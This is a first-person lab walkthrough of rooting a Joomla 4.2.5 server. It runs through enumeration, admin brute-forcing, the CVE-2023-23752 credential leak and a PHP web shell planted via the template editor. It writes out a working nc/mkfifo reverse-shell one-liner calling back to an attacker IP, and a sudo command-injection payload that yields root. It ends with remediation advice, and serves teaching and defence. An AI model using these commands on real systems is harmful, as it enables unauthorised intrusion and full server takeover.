A HackSmarter walkthrough
The Setup
The task was straightforward: enumerate a web server the team had flagged, get an initial foothold, and escalate all the way to root. I was given VPN access to the client environment and no credentials to start with.
I connected to the VPN and began enumerating the target.
Step 1: Recon With Nmap
I scanned the host to see what was running.
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.52 ((Ubuntu))|_http-title: Samurai
Just two ports: SSH on 22 and a web server on 80 with the page title “Samurai.” With no credentials, the web server was the obvious way in.
Step 2: Directory Enumeration
I fuzzed the site for directories with ffuf.
ffuf -u http://10.0.23.249/FUZZ -w raft-medium-directories.txt -c -fs 3185administrator [Status: 301]components [Status: 301]templates [Status: 301]modules [Status: 301]plugins [Status: 301]language [Status: 301]libraries [Status: 403]api [Status: 301]cli [Status: 301]
Directories like administrator, components, templates, and plugins are the classic layout of a Joomla site.
Step 3: File Enumeration
I fuzzed for files next.
ffuf -u http://10.0.23.249/FUZZ -w raft-medium-files.txt -c -fs 3185LICENSE.txt [Status: 200]configuration.php [Status: 200]README.txt [Status: 200]htaccess.txt [Status: 200]
These files confirmed it. This is a Joomla CMS.
Step 4: Confirming Joomla and the Version
I checked the admin page and the README to confirm the platform and get a version.
curl -s http://10.0.23.249/administrator/ | grep Joomla<meta name="generator" content="Joomla! - Open Source Content Management"><h2>Joomla Administrator Login</h2>
curl -s http://10.0.23.249/README.txt | head -n 5Joomla! CMS* This is a Joomla! 4.x installation/upgrade package.
So it is Joomla 4.x. I still needed the exact version.
Step 5: Scanning With Droopescan
I ran droopescan to pull out useful Joomla paths.
docker run --rm asannou/droopescan scan joomla -u http://10.0.23.249/[+] Possible interesting urls found: http://10.0.23.249/administrator/manifests/files/joomla.xml http://10.0.23.249/administrator/ http://10.0.23.249/plugins/system/cache/cache.xml
It did not report a version, so I used a Joomla brute-force script that also fingerprints the version during its run.
python joomla_brute.py -u http://10.0.23.249 -U admin -PL http_default_pass.txt -d 1.0INFO: Detected Joomla version: 4.2.5[*] SUCCESS! Credentials found: admin:[REDACTED]
Two useful results: the version is 4.2.5, and the admin panel was using a weak default password.
Step 6: Exploiting CVE-2023-23752
Joomla 4.2.5 is vulnerable to CVE-2023-23752, an unauthenticated information disclosure bug. It lets you reach protected API endpoints and read the site config, including database credentials. I grabbed a public exploit and ran it.
python CVE-2023-23752.py -u http://10.0.23.249[+] Target is vulnerable for usernames[+] Name: Oda[+] Username: Miyamoto[+] Email: oda@local.local[+] Group: Super Users[+] Target is vulnerable for credentials[+] User: joomla425[+] Password: [REDACTED]
This gave me a Super Users account name (Miyamoto) and a set of database credentials. The database password had been reused for the admin login, so I could sign in to Joomla as Miyamoto.
Miyamoto:[REDACTED]
Step 7: Web Shell via the Template Editor
As a Super User in Joomla, I could edit template files directly from the admin panel. I opened the error template for the default Cassiopeia theme and dropped a small PHP web shell into it, protected by a secret parameter name so only I could trigger it.
I confirmed code execution by running id through the shell.
curl -s "http://10.0.23.249/templates/cassiopeia/error.php?[REDACTED]=id"uid=33(www-data) gid=33(www-data) groups=33(www-data)
Code execution as www-data.
Step 8: Reverse Shell
I upgraded from the single-command web shell to a full reverse shell by having the target connect back to my listener.
curl -s -G --data-urlencode "[REDACTED]=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.200.68.96 80 >/tmp/f" http://10.0.23.249/templates/cassiopeia/error.php
That gave me an interactive shell on the box as www-data.
Step 9: Finding the Privilege Escalation Path
The first thing I check on any Linux foothold is what I am allowed to run as root.
www-data@streetcoder:/var/www$ sudo -lUser www-data may run the following commands on streetcoder: (root) NOPASSWD: /opt/backup/DbMaria
I could run a custom binary, /opt/backup/DbMaria, as root without a password. That is exactly the kind of thing that leads to root, so I pulled the binary to my machine and inspected it with strings.
strings DbMariasystemsetuidsnprintfUsage: %s <database>mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql
The binary takes a database name as an argument and builds a shell command around it, then runs that command with system() as root. The database name is dropped straight into the command with no sanitizing, which means I can inject my own command.
Step 10: Root
I ran the binary as root and passed a database name that broke out of the intended command. The semicolon starts a new command, /bin/bash -p gives me a shell that keeps root privileges, and the # comments out the rest of the line.
sudo /opt/backup/DbMaria 'test ; /bin/bash -p #'...root@streetcoder:/var/www# whoamiroot
Root. That completed the objective: from an anonymous web request all the way to full control of the server.
How I Got Here
The chain was short but effective. A public-facing Joomla site was running a known vulnerable version with a weak admin password. CVE-2023-23752 leaked the internal credentials, which had been reused. Super User access let me plant a web shell and land a reverse shell as www-data. From there, a sudo entry pointed at a custom binary that passed unsanitized input into a root-level system call, and a simple command injection turned that into a root shell.
Remediation
Keep Joomla and its extensions patched so known bugs like CVE-2023-23752 cannot be exploited. Use strong, unique admin passwords and never reuse a database password for the admin login. Restrict access to the administrator panel and the API endpoints. Do not grant www-data passwordless sudo to custom binaries. When a script must run as root, use absolute paths, validate all input, and never build shell commands out of user-supplied arguments.